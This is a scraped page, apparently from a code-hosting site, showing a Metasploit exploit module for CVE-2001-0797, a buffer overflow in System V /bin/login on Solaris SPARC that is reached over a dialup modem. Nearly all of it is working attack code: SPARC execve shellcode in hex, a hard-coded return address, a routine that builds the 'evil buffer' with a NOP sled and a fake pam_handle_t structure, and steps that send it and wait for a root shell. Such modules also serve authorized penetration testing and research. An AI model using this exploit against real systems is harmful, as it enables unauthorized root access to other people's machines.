Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::Dialup
10
  include Msf::Module::Deprecated
11

12
  moved_from 'exploit/dialup/multi/login/manyargs'
13

14
  def initialize(info = {})
15
    super(
16
      update_info(
17
        info,
18
        'Name'	=> 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
19
        'Description'	=> %q{
20
          This exploit connects to a system's modem over dialup and exploits
21
          a buffer overflow vulnerability in it's System V derived /bin/login.
22
          The vulnerability is triggered by providing a large number of arguments.
23
        },
24
        'References' => [
25
          ['CVE', '2001-0797'],
26
          ['OSVDB', '690'],
27
          ['OSVDB', '691'],
28
          ['BID', '3681'],
29
          ['URL', 'https://web.archive.org/web/20120114122443/http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],
30
          ['URL', 'https://web.archive.org/web/20120114113100/http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],
31
          ['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_rlogin.c'],
32
        ],
33
        'Author' => [
34
          'I)ruid',
35
        ],
36
        'Arch'	=> ARCH_TTY,
37
        'Platform'	=> ['unix'],
38
        'License'	=> MSF_LICENSE,
39
        'Payload' => {
40
          'Space' => 3000,
41
          'BadChars' => '',
42
          'DisableNops' => true
43
        },
44
        'Targets' => [
45
          [
46
            'Solaris 2.6 - 8 (SPARC)',
47
            {
48
              'Platform' => 'unix',
49
              'Ret' => 0x00027184,
50
              # Solaris/SPARC special shellcode (courtesy of inode)
51
              # execve() + exit()
52
              'Shellcode' =>
53
                  "\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" \
54
                  "\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" \
55
                  "\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" \
56
                  "\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",
57
              'NOP' => "\x90\x1b\x80\x0e"
58
            }
59
          ],
60
        ],
61
        'DefaultTarget' => 0,
62
        'DisclosureDate' => '2001-12-12',
63
        'Notes' => {
64
          'Stability' => [ CRASH_SERVICE_RESTARTS ],
65
          'SideEffects' => [ IOC_IN_LOGS ],
66
          'Reliability' => [ REPEATABLE_SESSION ]
67
        }
68
      )
69
    )
70
  end
71

72
  def buildbuf
73
    print_status("Targeting: #{target.name}")
74

75
    retaddr = target.ret
76
    shellcode = target['Shellcode']
77
    nop = target['NOP']
78

79
    # prepare the evil buffer
80
    i = 0
81
    buf = ''
82

83
    # login name
84
    buf[i, 4] = 'bin '
85
    i += 4
86

87
    # return address
88
    buf[i, 4] = [retaddr].pack('N')
89
    i += 4
90
    buf[i, 1] = ' '
91
    i += 1
92

93
    # trigger the overflow
94
    (0...60).each do |_c|
95
      buf[i, 2] = 'a '
96
      i += 2
97
    end
98

99
    # padding
100
    buf[i, 4] = ' BBB'
101
    i += 4
102

103
    # nop sled and shellcode
104
    (0...398).each do |_c|
105
      buf[i, nop.size] = nop
106
      i += nop.size
107
    end
108
    shellcode.each_byte do |b|
109
      c = b.chr
110
      case c
111
      when '\\'
112
        buf[i, 2] = '\\\\'
113
        i += 2
114
      when "\xff", "\n", ' ', "\t"
115
        buf[i, 1] = '\\'
116
        buf[i + 1, 1] = (((b & 0o300) >> 6) + '0').chr
117
        buf[i + 2, 1] = (((b & 0o070) >> 3) + '0').chr
118
        buf[i + 3, 1] = ((b & 0o007) + '0').chr
119
        i += 4
120
      else
121
        buf[i, 1] = c
122
        i += 1
123
      end
124
    end
125

126
    # TODO: need to overwrite/skip the last byte of shellcode?
127
    # i -= 1
128

129
    # padding
130
    buf[i, 4] = 'BBB '
131
    i += 4
132

133
    # pam_handle_t: minimal header
134
    buf[i, 16] = 'CCCCCCCCCCCCCCCC'
135
    i += 16
136
    buf[i, 4] = [retaddr].pack('N')
137
    i += 4
138
    buf[i, 4] = [0x01].pack('N')
139
    i += 4
140

141
    # pam_handle_t: NULL padding
142
    (0...52).each do |_c|
143
      buf[i, 4] = [0].pack('N')
144
      i += 4
145
    end
146

147
    # pam_handle_t: pameptr must be the 65th ptr
148
    buf[i, 9] = "\x00\x00\x00 AAAA\n"
149
    i += 9
150

151
    return buf
152
  end
153

154
  def exploit
155
    buf = buildbuf
156

157
    print_status('Dialing Target')
158
    if !connect_dialup
159
      print_error('Exiting.')
160
      return
161
    end
162

163
    print_status('Waiting for login prompt')
164

165
    res = dialup_expect(/ogin:\s/i, 10)
166
    # puts Rex::Text.to_hex_dump(res[:buffer])
167
    if !(res[:match])
168
      print_error('Login prompt not found... Exiting.')
169
      disconnect_dialup
170
      return
171
    end
172

173
    # send the evil buffer, 256 chars at a time
174
    print_status('Sending evil buffer...')
175
    # puts Rex::Text.to_hex_dump(buf)
176
    len = buf.length
177
    p = 0
178
    while (len > 0)
179
      i = len > 0x100 ? 0x100 : len
180
      # puts Rex::Text.to_hex_dump(buf[p,i])
181
      dialup_puts(buf[p, i])
182
      len -= i
183
      p += i
184
      #			if len > 0
185
      #				puts Rex::Text.to_hex_dump("\x04")
186
      #				dialup_puts("\x04") if len > 0
187
      #			end
188
      select(nil, nil, nil, 0.5)
189
    end
190

191
    # wait for password prompt
192
    print_status('Waiting for password prompt')
193
    res = dialup_expect(/assword:/i, 30)
194
    # puts Rex::Text.to_hex_dump(res[:buffer])
195
    if !(res[:match])
196
      print_error('Target is likely not vulnerable... Exiting.')
197
      disconnect_dialup
198
      return
199
    end
200

201
    print_status('Password prompt received, waiting for shell')
202
    dialup_puts("pass\n")
203

204
    res = dialup_expect(/#\s/i, 20)
205
    # puts Rex::Text.to_hex_dump(res[:buffer])
206
    if !(res[:match])
207
      print_error('Shell not found.')
208
      print_error('Target is likely not vulnerable... Exiting.')
209
      disconnect_dialup
210
      return
211
    end
212

213
    print_status('Success!!!')
214
    handler
215

216
    disconnect_dialup
217
  end
218
end
219

220